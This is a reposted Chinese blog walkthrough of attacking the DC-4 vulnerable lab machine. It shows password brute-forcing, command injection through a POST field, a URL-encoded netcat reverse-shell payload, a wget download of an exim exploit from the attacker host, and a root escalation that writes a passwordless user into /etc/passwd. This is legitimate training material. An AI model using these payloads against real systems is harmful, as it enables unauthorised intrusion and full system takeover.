0


DC-4靶场搭建及渗透实战详细过程(DC靶场系列)

DC-4靶场下载地址https://www.five86.com/downloads/DC-4.zip

搭建过程和DC-1一样,将kali跟DC-4放同一网段即可

一. 信息收集

1. 主机扫描

arp-scan -l

2. 端口扫描

nmap -sS -p- 192.168.120.138

3. 目录扫描

dirsearch -u 192.168.120.138 -e * 

没发现啥有用的

4. 页面信息探测

除了一个登入框,啥也检测不出来,尝试爆破登入


二. 渗透过程

1. 用户登入爆破

随便输入用户名和密码,点击登入,用burpsuite抓包

将抓到的请求报文发送到攻击器

这里就只爆破密码,猜用户名是admin

加载网上top1000的弱口令密码,然后点击开始攻击

查看回显报文最长的包,得到密码happy,用该密码登入后继续点击submit

来到了命令执行的界面

2. 任意命令执行

burpsuite抓包,点击run,右键发到重放器

可以看到,通过修改了POST传参radio的值达到了任意命令执行的效果

3. 反弹shell

通过尝试,不能echo命令写入木马,只好换一种方法进行反弹shell,这里试过了bash反弹不了,只能用nc反弹shell,参考Linux下几种反弹Shell方法的总结与理解

在kali上监听8080端口

nc -lvvp 8080

然后回到burpsite上,让DC-4靶机执行以下命令,将shell弹到kali监听的端口上

nc -e /bin/bash 192.168.120.129 8080

先将其URL编码

然后构造payload,POST传参

radio=%6e%63%20%2d%65%20%20%2f%62%69%6e%2f%62%61%73%68%20%31%39%32%2e%31%36%38%2e%31%32%30%2e%31%32%39%20%38%30%38%30&submit=Run

反弹shell成功,接着升级为交互shell

python -c 'import pty;pty.spawn("/bin/bash")'

接下来就是提权了,然后找flag了

4. Linux提权(假)

错误示范)前面打DC靶场学到的提权方式在这都不管用了,在搜索suid权限的二进制文件时,发现有exim命令,exim是Debian系统默认的MTA(邮件传输代理),可以从这个作为突破口进行提权

find / -perm -4000 -print 2>/dev/null

先看一下exim4的版本

exim4 --version

确定版本,接着找查提权漏洞,另开一个终端

searchsploit exim 4

选择对应版本的提权(Privilege Escalation)漏洞,完整path

/usr/share/exploitdb/exploits/linux/local/46996.sh

将文件拷贝到桌面,并在桌面开启一个http服务

cp /usr/share/exploitdb/exploits/linux/local/46996.sh /root/桌面/hack.sh

python3 -m http.server 8888

接着回到反弹shell那边,下载hack.sh

wget http://192.168.120.129:8888/hack.sh

居然没有权限写入,那就cd去tmp目录吧,tmp目录所有用户都可以操作

下载完成后赋予该文件全部可执行的权限

chmod 777 hack.sh

然后执行该文件

./hack.sh

提权成功了一半!??

好像忙活错了

4. Linux提权(真)

看别人wp,得从其他地方找突破口提权了,参考Linux的home目录

看一下该主机的普通用户,能不能尝试登进去寻找其他突破口

可以看到有三个普通用户,测试发现,只有jim用户才有权限查看,来到/home/jim/backups目录下

打开该文件,有一堆密码在(根据文件名提示,应该是之前用过的老密码)

将这些密码复制,然后放着一个文件里,用超级弱口令检查工具爆破

接着ssh远程登入一下,jim:jibril04

ssh [email protected]

接着尝试打开刚才反弹shell打开不了的文件mbox

说我有一封来自root用户的信,接着我们去邮箱找一下/var/spool/mail

蛮有意思的哈,今天放假,老板让我把密码给你

用该账号密码登入ssh,charles:^xHhA&hvim0y

还不是root用户,跟git提权一样

sudo -l

发现了个root权限的命令teehee(小型文本编辑器),可以利用这个命令进行提权

echo "test::0:0:::/bin/bash" | sudo teehee -a /etc/passwd  #建议手打命令,复制粘贴可能不管用

可参考/etc/passwd文件解刨

简而言之,就是存放用户的文件,可以通过修改该文件达到添加用户的效果,文件格式为

[注册名]:[口令]:[用户标识号]:[组标识号]:[用户名]:[用户主目录]:[命令解析程序]

口令为x即代表存放有密码,为空即代表没有密码,识标号为0代表root权限

利用管道符配合teehee命令,在passwd文件里写入一个不用密码root权限的用户test

提权成功

5. 查找flag

find / -name *flag.*

芜湖,通关


三. 收获总结

1. netcat反弹shell命令

nc -e /bin/bash [监听的IP] [监听的PORT]

2. teehee提权

原理就是通过修改passwd文件,添加一个无密码root权限的用户

echo "test::0:0:::/bin/bash" | sudo teehee -a /etc/passwd
标签: 安全 linux web渗透

本文转载自: https://blog.csdn.net/l2872253606/article/details/126021564
版权归原作者 金 帛 所有, 如有侵权,请联系我们删除。

“DC-4靶场搭建及渗透实战详细过程(DC靶场系列)”的评论:

还没有评论